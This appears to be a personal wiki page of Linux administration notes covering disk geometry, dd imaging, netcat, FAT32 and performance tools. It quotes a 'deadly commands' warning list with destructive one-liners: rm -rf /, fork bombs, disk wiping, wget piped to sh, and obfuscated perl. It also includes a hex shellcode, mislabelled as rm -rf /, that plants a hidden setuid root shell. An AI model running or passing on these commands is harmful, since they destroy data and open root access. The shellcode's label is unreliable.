Multi line redirect
Example: cat < /mnt/etc/fstab /dev/sda1 / ext3 defaults 1 1 none /dev/pts devpts gid=5,mode=620 0 0 none /dev/shm tmpfs defaults 0 0 none /proc proc defaults 0 0 none /sys sysfs defaults 0 0 /dev/sda2 /mnt ext3 defaults 1 2 /dev/sda3 swap swap defaults 0 0 EOL

Linux Based Hosting

 * Linode


 * Panix V-Colo Plan Features, Options, and Prices

hddtemp
See hddtemp

Multi line redirect
Example: cat < /mnt/etc/fstab /dev/sda1 / ext3 defaults 1 1 none /dev/pts devpts gid=5,mode=620 0 0 none /dev/shm tmpfs defaults 0 0 none /proc proc defaults 0 0 none /sys sysfs defaults 0 0 /dev/sda2 /mnt ext3 defaults 1 2 /dev/sda3 swap swap defaults 0 0 EOL

sed
See sed

Linux Commands
10 Essential UNIX/Linux Command Cheat Sheets | TECH SOURCE FROM BOHOL

Linux Commands - A practical reference
Linux Commands - A practical reference

The 7 Deadly Linux Commands
The 7 Deadly Linux Commands | TECH SOURCE FROM BOHOL

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:



Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

Others:

rm prevention:

To prevent accidental 'rm -rf *' (only works if using globular character) cd /; >-i as root to help negate the random rm -fR *. What will happen is rm will see and interprate the -i file as a command line switch and force interactive mode instead of forced mode. I do this in all my clients / dirs.

global privileges:

chmod -R 777 /

Recursively gives read, write, and execute priviledges to all users for all files. The files in /bin and /etc/bin cannot have this mode or they will not run.

coreutils prevents 'rm -rf /'

rm -rf / no longer works with most distros. If you look at the NEWS file for coreutils 6.10 (i believe), there was either a warning added when you try to rm -rf / or it was disabled entirely. Also, by now, most major distros (Ubuntu, Fedora, OpenSuSe, Mandriva) have shipped a release with coreutils >=6.10.

man yourmom (joke)

man yourmom

Well I tried it, it errored out stating and i quote: "yourmom is too large to be displayed"

forced kernel panic:

This is a handy way to kernel panic: dd if=/dev/random of=/dev/port

apparently this works as well: cat /dev/port

no manual entry for woman:

me@mycomputer:~$ man woman No manual entry for woman

he he he

http://www.infiltrated.net and the elusive perlfsck perl -e '$??s:;s:s;;$?::s;;=]=>%-{\\>%<-{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

The following short Z Shell code will typically get rid of the above fork bomb in about a minute: while (sleep 100 &!) do; done

alias rm='rm -i' alias mv='mv -i'

echo "\$0&\$0&">_;chmod +x _;./_ s!/\*.*?\*/!!sg perl -e 'while(1) {fork;}' perl -e '''=~('(?{'.(']'^'-').((']'^'-')|'"').('`'|')').('`'|'.').((']'^'-')|'$').'"'.((']'^'-')|'#').((']'^'-')|')').((']'^'-')|'#' perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' while :; do mkdir foobar && echo gg >| hrhr ;cd foobar ;done & echo $0 ; $0 & [$[$RANDOM%6]=0]&&rm -rf / for i in /dev/{hd*,sd*}; echo Drop the Dilmom\! I repeat: drop the Dilmom\! && dd if=/dev/urandom of=$i echo "\$0&\$0">.-.&&. .-.

The "echo 1 > /proc/sys/kernel/panic" is also a fun, but not-so-dangerous command.

tillo said...

For those interested on removing the "-i" file created by `>-i': `rm -- -i'

For those interested on how the forkbomb works, those are two equivalent: 1)   : {    : |: &    };    :

2)   function {    function |function &    };    function

Conclusion: creates a function that calls itself and pipes stdout to a copy of himself then forks and exits. Calls the function one time. It will double the `bash' (or any other shell) processes by an order of two at every call. It's very fast as it just needs to copy the bash process (already cached by mmap) X times in the RAM until the RAM is full. The ";" is only needed if written in one line. There must be at least a space after "{" and before "}" for some shells (like bash).

azouz said...

or to kill all process in the system

#kill -9 -1

Other Useful Commands
set -o emacs # default set -o vi
 * 1) Set Bash shell editor
 * 2) set default in ~/.inputrc "set editing-mode vi"

PS1="\s: \u: \w>"
 * 1) Prompt
 * 2) \s - shell
 * 3) \u - user
 * 4) \w - working directory

rm -i
 * 1) Interactive remove:

history 6 fc -l -6
 * 1) Display last 6 commands

fc
 * 1) Edit last run command

nice                   # print current niceness nice -[n] [PROGRAM]    # start program with [n] niceness nice -n [n] [PROGRAM]  # start program with [n] niceness renice [n] -p [pid]    # change program niceness
 * 1) Nice settings ('n' being -20 high priority to [+]19 low priority)
 * 2) Nice value can be seen in 'top' under 'NI' column
 * 3)   or $ ps -eo "%U %n %p %a"

kill -HUP 1  # have init process 1 reread inittab file without interrupting system
 * 1) Send signal to process

jobs    # list jobs fg      # send last job to foreground fg %5   # send job 5 to foreground bg      # send last job to background bg %5   # send job 5 to background
 * 1) Job management

file [FILENAME]  # list file type
 * 1) File type

dd if=/boot/vmlinuz of=/dev/fd0 bs=8192
 * 1) Copy file to floppy disk? - or does this make the floppy bootable?

cut -d: -f1 < /etc/passwd | sort
 * 1) Sort users on system

tac [file]        # reverse lines of file rev [file]        # reverse characters of each line of file tac [file] | rev  # reverse all characters of file
 * 1) Reverse lines and characters

cat -n test # number lines (including blank lines) nl -ba test # identical to previous nl test     # number lines (not including blank lines) cat -b test # identical to previous
 * 1) line numbering

od [file]  # octal representation of file xxd [file] # hex representation of file
 * 1) hex

head [file] head -[n] [file] tail [file] tail -[n] [file] tail -f [file]  # follow file
 * 1) head and tail

split [file]       # default - split at 1000 lines split -b[n] [file] # split at [n] bytes
 * 1) split file

pr            # format file for printing (with headers) fmt -60 book  # reformat with 60 characters per line  (wrap at...)
 * 1) format file for printing


 * 1) line printing

Quotas

 * http://www.rxn.com/services/faq/smb/using_samba/html/ch08_06.htm
 * http://lists.opensuse.org/opensuse/2000-04/msg01140.html
 * http://blogs.techrepublic.com.com/opensource/?p=130
 * http://gentoo-wiki.com/HOWTO_use_User_Quota%27s
 * http://www.redhat.com/docs/manuals/linux/RHL-9-Manual/custom-guide/ch-disk-quotas.html
 * http://www.redhat.com/docs/manuals/linux/RHL-8.0-Manual/admin-primer/s1-storage-quotas.html
 * http://souptonuts.sourceforge.net/quota_tutorial.html
 * http://www.linuxquestions.org/questions/linux-server-73/directory-quota-601140/
 * http://www.maths.ox.ac.uk/help/faqs/files/quotas
 * http://linuxhelp.blogspot.com/2005/10/disk-quotas-in-linux-explained.html
 * http://www.tldp.org/HOWTO/Quota.html
 * http://www.yolinux.com/TUTORIALS/LinuxTutorialQuotas.html

Plus Sign
What does the plus sign (+) mean?
 * "The plus sign (+) indicates that not all the blocks are included in the fdisk value."


 * "The issue is that during installation on the existing linux setup WinXP screwed up the partition table, and these pluses were very difficult to recreate."



Calculations
fdisk calculations:
 * "The first line shows the geometry of your hard drive. It may not be physically accurate, but you can accept it as though it were. The hard drive in this example is made of 32 double-sided platters with one head on each side (probably not true). Each platter has 621 concentric tracks. A 3-dimensional track (the same track on all disks) is called a cylinder. Each track is divided into 63 sectors. Each sector contains 512 bytes of data. Therefore the block size in the partition table is 64 heads * 63 sectors * 512 bytes er...divided by 1024. (See 4 for discussion on problems with this calculation.) The start and end values are cylinders."

Example: disk /dev/sda: 16 heads, 63 sectors, 23361 cylinders Units = cylinders of 1008 * 512 bytes Device Boot   Start       End    Blocks   Id  System /dev/sda1            1         2       976+  83  Linux /dev/sda2            3         5      1512   83  Linux /dev/sda3            6        10      2520   83  Linux /dev/sda4           11        19      4536   83  Linux

Calculations: (number of needed cylinders) = (number of blocks) / (block size) (block size) = (unit size) / 1024 (unit size) = (number of heads) * (number of sectors/cylinder) * (number of bytes/sector)

Glossary: platters = magnetic disc in hard drives heads   = Data is written to and read from the surface of a platter by a device called a head. Usually 1 per side, or 2 per platter. tracks  = Are the thin concentric circular strips on a platter surface which actually contain the magnetic regions of data written to a disk drive. cylinder = A cylinder comprises all the tracks (on every usable platter surface) that can be accessed by          the read/write heads while the actuator assembly remains stationary. heads   = number of read devices for all platters sectors = Each usable side of a platter can also be thought of as a collection of slices called sectors. Blocks - an alternate definition of sector blocks  = The intersection of a track and a sector is called a block.

My Numbers: So numerically: tracks = cylinders sectors = blocks

(disk size) = (heads) * (sectors/track) * (cylinders) * 512 (units) = ( (heads) * (sectors/track) ) * 512

start is the starting cylinder end is the ending cylinder

total cylinders per device = (end cylinder) - (start cylinder) + 1

each cylinder has "units" number of bytes

(blocks) = (# of cylinders) * (units) / 1024 (blocks to bytes) = (blocks) * 1024

To determine the number of cylinders needed for wanted size: (round up to next integer)
 * 1) of cylinders = (wanted size in bytes) / (units)


 * "fdisk provides the configuration information I need in the head of the output. The unit size is 516096 ( 16 heads * 63 sectors/cyl * 512 bytes/sector ). The block size is 504 ( 516096 / 1024 ). The number of needed cylinders for the second partition is therefore 3 ( 1512 blocks / 504 ). The partition table shows that this is indeed the case: the first cylinder is 3, the second 4, and the last is 5, for a total of three cylinders. The number of needed cylinders for the third partition is calculated similarly: 2520 blocks / 504 = 5, which corresponds to blocks 6,7,8,9,10 . Notice that this calculation does not work for the first partition because the block count is wrong ( 976 instead of 1008 ). The plus sign indicates that not all the blocks are included in the fdisk value. When you try the calculation ( 976 / 504 ) you get 1.937. Knowing that the number of cylinders must be an integer, you can simply round up."

Blocks:
 * "The intersection of a track and a sector is called a block. blocks are delimitated by specifying a certain cylinder, head and sector. These blocks are the smallest geometrical breakdown of a disk, and represent the smallest amount of data which can be transferred to or from a disk (usually 512 bytes).


 * However, many PC engineers and technicians use the term sector (instead of block) as if it were also defined as the smallest geometrical breakdown of a disk.[1] The UNIX/Linux communities, however, continue to employ the term block. For example, the Linux fdisk utility normally displays partition table information using 1024-byte blocks while also using sector to help describe a disk's size with its phrase, 63 sectors/track."

Linux NTFS
See Linux NTFS

Image Disk

 * macosxhints.com - Recover a dead hard drive using dd

Copy MBR and partition table: dd bs=512 if=/dev/rXX# of=/some_dir/foo.dmg conv=noerror,sync

Cloning a Disk
keywords: clone disk dd sfdisk

Backing up MBR and partition table
Backing up your Master Boot Record (MBR):

Backing up your Master Boot Record (MBR).

You should do this before you edit your partition table so that you can put it back if you mess things up. dd if=/dev/hda of=/root/hda.boot.mbr bs=512 count=1

If things mess up, you can boot with Knoppix, mount the partition containing /root (hda1 in this example) and put back the MBR with the command:

dd if=/mnt/hda1/root/hda.boot.mbr of=/dev/hda bs=512 count=1

Obviously, if you have a GPT system (like the intel mac for instance) this will need some adjustment.

see: http://forum.onmac.net/showthread.php?t=136

You can backup only the MBR and exclude the partition table with the command:

dd if=/dev/hda of=/root/hda.mbr.noparttab bs=446 count=1

Disk images with ssh and dd
Move a directory: tar -cz [directory] | ssh [host] "dd of=[filename].tgz bs=1k conv=sync,noerror"

Image a disk: dd if=/dev/hda bs=1k conv=sync,noerror | gzip -c | ssh [host] "dd of=/images/hda.gz"


 * 1) the conv=sync,noerror are necessary for the cloning.
 * 2) The first parameter tells dd to pad the block set through the bs option with zeros.
 * 3) The second one to continue on failed read/write.

Test image (If there is no output, the archive is ok): gzip -t /images/hda.gz

Restore image: ssh [host] -c blowfish "cat /images/hda.gz" | gzip -cd |dd of=/dev/hda bs=1k conv=sync,noerror

References:
 * [Disk images with ssh and dd http://www.linuxboxadmin.com/micro-howtos/system-administration/disk-images.html]
 * [Howto: Use tar command through network over ssh session http://www.cyberciti.biz/faq/howto-use-tar-command-through-network-over-ssh-session/]

Ghost 4 Unix (g4u)

 * g4u - Harddisk Image Cloning for PCs
 * "g4u ("ghost for unix") is a boot-floppy/CD that allows one to easily clone PC hard disks by using FTP. This is often done to deploy a common setup on a number of PCs. The floppy/CD offers two functions: it uploads the compressed image of a local hard disk to an FTP server, and then it can retrieve that image via FTP, uncompress it, and write it back to disk. Network configuration is fetched via DHCP. As the hard disk is processed as an image, any filesystem and operating system can be deployed using g4u. Easy cloning of local disks as well as partitions is also supported."


 * Freshmea: g4u
 * SourceForge: g4u

Written by Hubert Feyrer 

Ghost 4 Linux (g4l)

 * g4l
 * "G4L is a hard disk and partition imaging and cloning tool. The created images are optionally compressed and transferred to an FTP server instead of cloning locally."


 * freshmeat.net: Project details for G4L
 * "G4L is a hard disk and partition imaging and cloning tool. The created images are optionally compressed, and they can be stored on a local hard drive or transferred to an anonymous FTP server. A drive can be cloned using the "Click'n'Clone" function. G4L supports file splitting if the local filesystem does not support writing files >2GB. The included kernel supports ATA, serial-ATA, and SCSI drives. Common network cards are supported. It is packaged as a bootable CD image with an ncurses GUI for easy use."


 * "...another free tool called "g4l" today, and not only the tool's name and homepage looked vaguely familiar, looking at the code, it struck me that this was heavily based on g4u!" ([g4u/g4l Copyright Infringement Analyzis http://www.feyrer.de/g4u/g4l.html])

Problem from Symantec:
 * "I was contacted by an Attorney representing Symantec on 9/28/07 concerning the use of the word "GHOST" and references to Norton and Symantec."


 * "We ask that you not use GHOST, SYMANTEC, NORTON or any other Symantec trademark as the name of your program or in any other trademark sense. In addition, changing to G4L is not sufficient. The G in the acronym stands for GHOST so that you are still making reference to and drawing off of Symantec's proprietary name and products. Please adopt a new name for the program that does not draw upon or make any reference to GHOST. Ghost for Linux and G4L should be replaced with this new name everywhere--on all web sites, in the program itself, etc."

Symantec asks G4L to stop infringing on Ghost name

Wireless
See Linux Wireless

wpa_supplicant.conf

lshw
Hardware Lister (lshw)

I got the author to register lshw.org to point to this project.

Installation: yum install gcc gcc-c++ wget http://ezix.org/software/files/lshw-B.02.13.tar.gz tar -zvxf lshw-B.02.13.tar.gz cd lshw-B.02.13 make cd src ./lshw

lm-sensors
lm_sensors lm-sensors lm sensors

See lm-sensors

Netcat
Netcat

Copy files from machine foo to bar on port 3333 (-l, listen): user@bar$ nc -l -p 3333 > backup.iso user@foo$ nc bar 3333 < backup.iso

Open a raw connection to port 25 (like telnet): nc mail.server.net 25

Check if UDP ports (-u) 80-90 are open on 192.168.0.1 using zero mode I/O (-z): nc -vzu 192.168.0.1 80-90

References:
 * Wiki - netcat
 * Network Tricks with netcat | Linux Magazine
 * Linux.com :: CLI Magic: netcat

Sending Email with Netcat | Linux Journal
Use the command: date '+%a, %d %b %Y %H:%M:%S %z'

To generate a date string that resembles: Mon, 12 Apr 2010 14:21:26 -0400

The contents of your message file should resemble this example: HELO host.example.com MAIL FROM:  RCPT TO:  DATA From: [Alice]  To:  Date: Mon, 12 Apr 2010 14:21:26 -0400 Subject: Test Message

Hi there! This is supposed to be a real email...

Have a good day! Alice

. QUIT

Now feed message to netcat: /usr/bin/nc smtp.domain.com 25 < /tmp/message

Creating FAT32 Partition
Create FAT32 Partition: fdisk /dev/? type: c

Install DOS FS tools: yum install dosfstools

Format FAT32: mkdosfs /dev/hda3 mkfs -t vfat /dev/hda3 mkfs.vfat /dev/hda3 mkfs.msdos /dev/hda3
 * 1) NOTE: mkfs.vfat and mkfs.msdos are links to mkdosfs

Mount: mount /dev/hda3 /mnt/windows

Label: mkfs.vfat /dev/sdb1 -n /data  # if you want to label it mount LABEL=/data /data

fstab: /dev/hda3 /mnt/windows defaults,umask=000 0 0

What partition type would be needed for this (0x0b or 0x0c) and how do you determine which to use?
 * based on bios access method (lba or chs)
 * Go for 0x0c unless your hardware is really old (last century)
 * it depends on your bios and it's block adressing method: lba or chs. if chs 0x0b else 0x0c.
 * It appears that you should use 0x0b even on LBA drives as long as the created partition does not touch cylinder 1025 or above.
 * it seems that the horse doesn't jump higher than it has to . 0x0b (FAT32 without LBA) still uses the old BIOS INT 13 (low level disk read/write) which means it can adress a maximum of 7.8GB disk space. you created a partition of first 5GB than 2 GB (= 7GB) so windows is not forced to use BIOS INT 13h extensions. with the third partition however, it switches to LBA because it has to.

As root: dd if=/dev/zero of=/dev/sdb bs=512 count=1

References:
 * Creating shared FAT32 Partition - LinuxQuestions.org
 * fdisk created fat32 partition, which type 0b or 0c? - LinuxQuestions.org

---

Example: (not sure why the geometry changed when formatted on windows vs linux) Disk /dev/sdb: 16.0 GB, 16008609792 bytes 255 heads, 63 sectors/track, 1946 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000

Device Boot     Start         End      Blocks   Id  System /dev/sdb1              1        1947    15631360    c  W95 FAT32 (LBA) Disk /dev/sdb: 16.0 GB, 16008609792 bytes 64 heads, 32 sectors/track, 15267 cylinders Units = cylinders of 2048 * 512 = 1048576 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x776496c9
 * 1) cylinder view - default for dos partitions

Device Boot     Start         End      Blocks   Id  System /dev/sdb1              1       15267    15633392    c  W95 FAT32 (LBA) Disk /dev/sdb: 16.0 GB, 16008609792 bytes 64 heads, 32 sectors/track, 15267 cylinders, total 31266816 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x776496c9
 * 1) sector view ('u')

Device Boot     Start         End      Blocks   Id  System /dev/sdb1             32    31266815    15633392    c  W95 FAT32 (LBA)

Format and Label a FAT32 External Disk
Machine Cycle: Format and Label a FAT32 External Disk: mkfs.vfat -F 32 -n volume_name /dev/sda1 mlabel c:volume_label /etc/mtools.conf: drive c: file="/dev/sda1"

Labeling:

Editing FAT32 Partition Labels using mtools « Ubuntu Blog: sudo apt-get install mtools /etc/mtools.conf: drive i: file="/dev/sda2" mcd i:

Linux Notes: rename usb disk volume label (FAT32): sudo mlabel -i /dev/sdc1 ::my-label sudo dosfsck -ar /dev/sdc1

RenameUSBDrive - Community Ubuntu Documentation: mlabel -i -s :: e2label


 * ext3
 * reiserfs
 * jfs

mtools
/etc/mtools.conf /usr/bin/amuFormat.sh /usr/bin/lz -> uz /usr/bin/mattrib -> mtools /usr/bin/mbadblocks -> mtools /usr/bin/mcat -> mtools /usr/bin/mcd -> mtools /usr/bin/mcheck /usr/bin/mclasserase -> mtools /usr/bin/mcomp /usr/bin/mcopy -> mtools /usr/bin/mdel -> mtools /usr/bin/mdeltree -> mtools /usr/bin/mdir -> mtools /usr/bin/mdu -> mtools /usr/bin/mformat -> mtools /usr/bin/minfo -> mtools /usr/bin/mkmanifest /usr/bin/mlabel -> mtools /usr/bin/mmd -> mtools /usr/bin/mmount -> mtools /usr/bin/mmove -> mtools /usr/bin/mpartition -> mtools /usr/bin/mrd -> mtools /usr/bin/mren -> mtools /usr/bin/mshortname -> mtools /usr/bin/mshowfat -> mtools /usr/bin/mtools /usr/bin/mtoolstest -> mtools /usr/bin/mtype -> mtools /usr/bin/mxtar /usr/bin/mzip -> mtools /usr/bin/tgz

3D Acceleration
"What is hardware 3D acceleration and why do I want it?

With hardware 3D acceleration, three-dimensional rendering uses the graphics processor on your video card instead of taking up valuable CPU resources drawing 3D images. It's also referred to as "hardware acceleration" instead of "software acceleration" because without this 3D acceleration your CPU is forced to draw everything itself using the Mesa software rendering libraries, which takes up quite a bit of processing power. While Xorg typically supports 2D hardware acceleration, it often lacks hardware 3D acceleration. Three-dimensional hardware acceleration is valuable in situations requiring rendering of 3D objects such as games, 3D CAD and modeling."

Show frames per second: glxgears

Show info about GLX extention and OpenGL renderer: glxinfo

3D Acceleration enabled? glxinfo | grep rendering direct rendering: Yes (If it says "No", you don't have 3D acceleration.)

Easy way to see if 3D graphics are enabled: xmoto

References:
 * Hardware 3D Acceleration Guide — Gentoo Linux Documentation

Partition Size Larger than 2TB
References: Linux Creating a Partition Size Larger than 2TB

CPU Frequency Scaling
See Linux Power Management

find
See Linux Find

Networking
See Linux Networking

keywords: ifconfig route ip ip2 network

hex math
Base conversion (decimal to hexadecimal): echo 'obase=16; ibase=10; 64206' | bc

Base conversion (hex to dec) ((shell arithmetic expansion)): echo $((0x2dec)) echo 'obase=10; ibase=16; 2DEC' | bc

hex view
Hex dump with hexdump: hexdump -C [file] ... | hexdump -C

Hex dump with xxd xxd [file] ... | xxd

Handy hexdump. (usage e.g.: hd /proc/self/cmdline | less) alias hd='od -Ax -tx1z -v'

Linux Counter
URL to My Personal Counter (down at the moment): http://counter.li.org/cgi-bin/certificate.cgi/372309

Name:		Kenneth Burgener Country:	US United States Of America State:		Ut Utah City:		Orem Orem Email:		linux@mail1.ttak.org Homepage:	http://www.kennethburgener.org Started:	jun 2004 Usage:		home, work, school

Registration created 	2004-11-13 19:14:57 The record ID is 	372309

Login: site: http://counter.li.org/ user: 372309 (or email@kennethburgener.org) pass: 372309-26141

Serial
For linux serial and minicom...

See Linux Serial

Ethernet driver version
$ ethtool -i eth0 driver: skge version: 1.6 firmware-version: N/A bus-info: 0000:05:0c.0

String Manipulation
[http://www.askdavetaylor.com/chopping_off_the_last_field_of_each_line.html Chopping off the last field of each line? :: Free Tech Support from Ask Dave Taylor!]: rev inputfile | cut -f2- | rev > outputfile awk '{$NF=""; print $0}'

Filters
tr   # character replace

sed  # search and replace

awk  # programmable

cat  # output lines tac  # reverse lines rev  # reverse characters

grep # search

... | tr ',' '\n'  # convert comma separated list to new lines

Slice and Dice Images with ImageMagick
You can use the convert command that comes with ImageMagick to extract parts of an image.

You can cut out a 100-pixel-wide chunk from somewhere in the middle of an image:

$ convert -crop 100x+0+0 orig/wrapperbg775.gif slice0.gif $ convert -crop +200+0 orig/wrapperbg775.gif slice1.gif $ convert +append slice0.gif slice1.gif wrapperbg675.gif

You can duplicate a 100-pixel-wide chunk from somewhere in the middle of an image:

$ convert -crop 100x+100+0 orig/wrapperbg775.gif slice100.gif $ convert +append slice0.gif slice100.gif slice 100.gif ↪slice1.gif wrapperbg875.gif

Note that there was no need to specify the height of the image in any of the above commands. If you need to adjust the height instead of the width, the steps are similar, but use -append instead of +append to paste the slices vertically.

Source: Slice and Dice Images with ImageMagick

System Information
How do I find out screen resolution of my Linux desktop?

Use xdpyinfo command to find out current screen resolution: xdpyinfo | grep 'dimensions:'

You can also use xrandr command: xrandr | grep '*'

System Performance
See Linux Performance Testing

---

Hi,

Tell me how much is the swap space you assigned and also  you can use  below commands to trace out the cause of such huge I/O.Also  are using SAN or local storage?.I don't think so you need explanation for below commands.Run all the commands and redirect it to some file and send it to the list.

Normally there is no need to fine tune any parameter to upgrade memory on centos 4.7 32 bit, because i am running centos production with 8GB of physical memory but with only 4GB of swap space(not twice the physical ram normaly people use causing huge I/O while using swap memmory because system have to read cylinders and tracks of 8GB takes long time compared to 4GB of swap space)

while true ; do (ps -eo pcpu,pid,user,args |sort -k1 -r |head  -10 >> /root/sys-reports/top10-cpu-utilzn) ; sleep 2 ; done sar -u 2 10000000 > /root/sys-reports/sar.txt mpstat -P  ALL 5 | tee mpstat.txt top -b -i |tee top.txt vmstat -m 5 > vmstat.txt iostat -x 5 >>  iostat.txt Regards, pap

Source: CentOS Mailing List - Re: [CentOS] Adding RAM - 12/9/2008 10:12 AM

CPU

 * top
 * vmstat

Disk

 * vmstat
 * iostat
 * iotop

iostat 2 iostat -x 2
 * 1) part of sysstat package

iotop
 * 1) part of iotop package
 * 2) shows process io usage

Network

 * iptraf
 * nmon

Iotop - Disk Usage
Iotop - http://guichaz.free.fr/iotop/

"Linux has always been able to show how much I/O was going on (the bi and bo columns of the vmstat 1 command). Iotop is a Python program with a top like UI used to show of behalf of which process is the I/O going on."

Requirements:
 * "It requires Python ≥ 2.5 (or Python ≥ 2.4 with the ctypes module) and a Linux kernel ≥ 2.6.20 with the TASK_DELAY_ACCT CONFIG_TASKSTATS, TASK_IO_ACCOUNTING and CONFIG_VM_EVENT_COUNTERS options on."

---

Other References:
 * Watching Hard Drive Activity With iotop On Ubuntu 8.10 And Debian Lenny | HowtoForge - Linux Howtos and Tutorials

--- Install

Install: yum install iotop

Install Manually: mkdir -p ~/.src ; cd ~/.src wget http://guichaz.free.fr/iotop/files/iotop-0.4.4.tar.gz tar -zvxf iotop-0.4.4.tar.gz cd iotop-0.4.4 python setup.py install

Install Manually Dev: (Git) mkdir -p ~/.src ; cd ~/.src git clone git://repo.or.cz/iotop.git cd iotop python setup.py install

---

Error: CONFIG_TASK_DELAY_ACCT not enabled in kernel, cannot determine SWAPIN and IO %

Which means CentOS 5 and RHEL 5 won't be able to use this cool tool!

mtools
"The mtools package, originally by Emmet P. Gray and now maintained by Alain Knaff and David Niemi, is a public-domain set of programs you can use in just about any operation on MS-DOS floppies. The mtools package can help you when working with the DOS or Windows operating system while running Linux, and facilitate the transfer of information and manipulation of removable media for those operating systems.

These commands are useful because you don't need to reboot to DOS or Windows, run an emulator, or mount the floppy in order to read, write, or make changes to the floppy's contents."

Label DOS disk: mlabel a: mlabel a:'DOS DISK'

Source: InformIT: Red Hat Linux 7 Unleashed > The mtools Package

10 Linux commands you’ve never used
10 Linux commands you’ve never used

pgrep: pgrep -u root ps -ef | egrep '^root ' | awk '{print $2}'
 * 1) instead of

pstree: pstree

sqrt.sh: if [ $# -ne 1 ] then echo 'Usage: sqrt number' exit 1 else echo -e "sqrt($1)\nquit\n" | bc -q -i
 * 1) !/bin/bash

./sqrt.sh 64

Split: split -b 2m largefile LF_

Line number a file: nl wireless.h > wireless.h.numbered

Named pipe: mkfifo some-pipe echo -e "some text\nand more" > some-pipe

cat some-pipe

Show linked libraries ldd [executable]

col, want to save man pages as plain text: PAGER=cat ; man less | col -b > less.txt

xmlwf, need to know if a XML document is well formed? xmlwf [file] xmllint [file]

List open files: lsof lsof | grep ' root ' | awk '{print $NF}' | sort | uniq | wc -l lsof | grep ' root ' | awk '{print $NF}' | sort -u | wc -l

chmod
-rwxrwxrwx

Advanced Modes
There are, in fact, three other modes you can set on a file or directory. All Unixes support the following:

*    4000 set user id (suid) on execution *    2000 set group id on execution *    1000 the sticky bit

If suid is enabled, the permissions look like: -rws-- This means that when the file is executed, it will run with the permissions of the owner of the file. It’s dangerous, but some times necessary and quite useful. For example, a file suid and owned by root will always run as root.

When sgid is enabled, the permissions look like: -rwxrws--- When set on a directory, sgid means that all files created within the directory will have the gid set to the current directory’d gid. This is handy when sharing files with other people, who will often forget to give other members read or write permissions.

The sticky bit looks like: -rwx--T When the sticky bit is enabled, only the owner of the file can change its permissions or delete it. Without the sticky bit, anyone with write permissions can change the modes (including ownership) or delete a file. This one is also handy when sharing files with a group of people.

Timezones
See Linux/Time

keywords: localtime timezones zdump america boise

Xming
Xming

"Xming is the leading free unlimited X Window Server for Microsoft Windows (XP/2003/Vista). It is fully featured, small and fast, simple to install and because it is standalone native Microsoft Windows, easily transported [WWW]portable as a Pocket PC X server (i.e. no slow Linux API emulation wrappers and mounts)." 

"Using PuTTY (the best Windows SSH client going) and Xming (a free X Window server for Windows) enables you to log in from a Windows box to your Unix box, and then run an X session remotely. There are other ways of doing this as well (e.g., Cygwin/X), but this one is both neat and straightforward." 

See Xming

kexec
Reboot Linux faster using kexec

"Essentially, kexec is a fast reboot feature that lets you reboot to a new Linux kernel -- without having to go through a bootloader."

"Kexec is a patch to the Linux kernel that allows you to boot directly to a new kernel from the currently running one. In the boot sequence described above, kexec skips the entire bootloader stage (the first part) and directly jumps into the kernel that we want to boot to. There is no hardware reset, no firmware operation, and no bootloader involved. The weakest link in the boot sequence -- that is, the firmware -- is completely avoided. The big gain from this feature is that system reboots are now extremely fast. For enterprise-class systems, kexec drastically reduces reboot-related system downtime. For kernel and system software developers, kexec helps you quickly reboot your system during development or testing efforts without having to go through the costly firmware stage every time."

Articles:
 * IBM: Reboot Linux faster using kexec
 * Using Kexec and Kdump | Linux Magazine
 * Linux.com :: Reboot like a racecar with kexec

See also Kspliace

Ksplice
Ksplice: Rebootless Linux kernel updates

"Ksplice is the first practical technology for updating the Linux kernel without rebooting.

Ksplice enables you to avoid the disruptive process of rebooting for kernel security updates and bug fixes. By making it easy to keep your systems up to date, Ksplice helps you avoid the security and stability risks of running out-of-date software."

See also kexec

blanking
For Linux users, the console screen saver/blanker is usually enabled by default, but some people like to shut it off, which can be done with

setterm -blank or setterm -blank 0

Changing the 0 to some other number turns blanking back on after that many minutes

Source: The Linux keyboard and console HOWTO

screensaving
setterm -blank nn will tell the console driver to blank the screen after nn minutes of inactivity. (With nn = 0, screensaving is turned off. In some old kernels this first took effect after the next keyboard interrupt.)

The s option of xset(1) will set the X screensaving parameters: xset s off turns off the screensaver, xset s 10 blanks the screen after 10 minutes.

The video hardware powersaving modes can be enabled/disabled using the setvesablank program given in the starting comment of /usr/src/linux/drivers/char/vesa_blank.c.

Source: Are there any screen savers?

blanking
Blanking a linux console

